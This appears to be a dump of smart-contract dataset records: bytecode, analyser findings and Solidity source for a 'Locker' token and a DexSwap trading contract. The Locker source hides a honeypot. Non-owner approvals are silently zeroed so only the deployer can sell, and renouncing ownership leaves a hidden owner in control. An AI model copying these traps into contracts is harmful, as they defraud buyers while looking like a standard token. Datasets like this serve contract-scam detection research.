742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220e6fadd51b281dac9b5e7b119f723ec2de83d894bde920065b1c6ead1d5ab100c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 4,013 |
0x75320de1e0e8e2683fa2e6a96ffbfbb5b8be9a6b
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
/*
$LOCKER
Launches on March 28th (ERC)
Goal
Instead of individual Teams developing their own Apps,
$LOCKER packages it all into a single App and makes it available for Teams, players, and Fans.
Money Transfers, Marketplace Sales, Contract Agreements, Milestone based payouts, etc.
Hyped launch with presale/private. Solid team. vested for 1-3 years
LP Lock 6 Months, CERTIK AUDIT in the works, various marketing plans in the works - Not personally worked with this team but have seen the team members around in other based chats.
Website: https://locker-token.com/
Telegram: https://t.me/LockerToken_Chat
Twitter: https://twitter.com/LockerTokens
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Locker is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Locker ' ;
string private _symbol = 'LOCKER ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220afb70cc4b59577cdb1de75e1b38ba7eeafc958d9a0116e942a7b6eb274679df664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,014 |
0x12a60d819c2a8012da7c561b82242cf6dbe5d7a9
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
pragma solidity >=0.8.6;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable {
address internal _owner;
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, 'Ownable: caller is not the owner');
_;
}
function changeOwner(address newOwner) public onlyOwner {
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract DexSwap is Ownable {
using SafeMath for uint256;
uint256 private MAX_INT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
mapping(address => bool) public validAddress;
constructor(address owner) {
_owner = owner;
validAddress[_owner] = true;
}
function setValidAddress(address addr, bool valid) public onlyOwner {
validAddress[addr] = valid;
}
function dexBuyZzcaoEth(
address usdtAddress,
address pancakeAddrss,
uint256 amountOut,
uint256 amountInMax,
address[] memory path,
address to,
uint256 deadline
) external {
require(validAddress[msg.sender], 'invalid address');
IERC20 token = IERC20(usdtAddress);
if (token.allowance(address(this), pancakeAddrss) < amountInMax) {
token.approve(pancakeAddrss, MAX_INT);
}
IUniswapV2Router02 pancake = IUniswapV2Router02(pancakeAddrss);
pancake.swapTokensForExactTokens(amountOut, amountInMax, path, to, deadline);
}
function dexSellZzcao(
address tokenFrom,
address tokenAddress,
address pancakeAddrss,
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
uint256 deadline
) external {
require(validAddress[msg.sender], 'invalid address');
IERC20 token = IERC20(tokenAddress);
if (tokenFrom != address(this)) {
// 把token转到合约
token.transferFrom(tokenFrom, address(this), amountIn);
}
if (token.allowance(address(this), pancakeAddrss) < amountIn) {
token.approve(pancakeAddrss, MAX_INT);
}
IUniswapV2Router02 pancake = IUniswapV2Router02(pancakeAddrss);
pancake.swapExactTokensForTokens(amountIn, amountOutMin, path, address(this), deadline);
}
function take(
address token,
address to,
uint256 amount
) public onlyOwner {
IERC20 erc20 = IERC20(token);
erc20.transfer(to, amount);
}
function takeEth(address to, uint256 amount) public onlyOwner {
payable(to).transfer(amount);
}
receive() external payable {}
}
|
0x60806040526004361061007f5760003560e01c80638da5cb5b1161004e5780638da5cb5b14610132578063a6f9dae11461015a578063bd7b19891461017a578063cc2579491461019a57600080fd5b80630b0d9c091461008b5780631002dc34146100ad5780635c1c8621146100cd5780636d89ffb01461011257600080fd5b3661008657005b600080fd5b34801561009757600080fd5b506100ab6100a63660046108f0565b6101ba565b005b3480156100b957600080fd5b506100ab6100c83660046109b8565b610279565b3480156100d957600080fd5b506100fd6100e8366004610842565b60026020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561011e57600080fd5b506100ab61012d3660046109ef565b6102ce565b34801561013e57600080fd5b506000546040516001600160a01b039091168152602001610109565b34801561016657600080fd5b506100ab610175366004610842565b610333565b34801561018657600080fd5b506100ab61019536600461092c565b61037f565b3480156101a657600080fd5b506100ab6101b5366004610864565b61057a565b6000546001600160a01b031633146101ed5760405162461bcd60e51b81526004016101e490610ae7565b60405180910390fd5b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284919082169063a9059cbb90604401602060405180830381600087803b15801561023a57600080fd5b505af115801561024e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102729190610ab1565b5050505050565b6000546001600160a01b031633146102a35760405162461bcd60e51b81526004016101e490610ae7565b6001600160a01b03919091166000908152600260205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146102f85760405162461bcd60e51b81526004016101e490610ae7565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561032e573d6000803e3d6000fd5b505050565b6000546001600160a01b0316331461035d5760405162461bcd60e51b81526004016101e490610ae7565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526002602052604090205460ff166103d05760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206164647265737360881b60448201526064016101e4565b604051636eb1769f60e11b81523060048201526001600160a01b0387811660248301528891869183169063dd62ed3e9060440160206040518083038186803b15801561041b57600080fd5b505afa15801561042f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104539190610ace565b10156104e25760015460405163095ea7b360e01b81526001600160a01b03898116600483015260248201929092529082169063095ea7b390604401602060405180830381600087803b1580156104a857600080fd5b505af11580156104bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e09190610ab1565b505b604051634401edf760e11b815287906001600160a01b03821690638803dbee90610518908a908a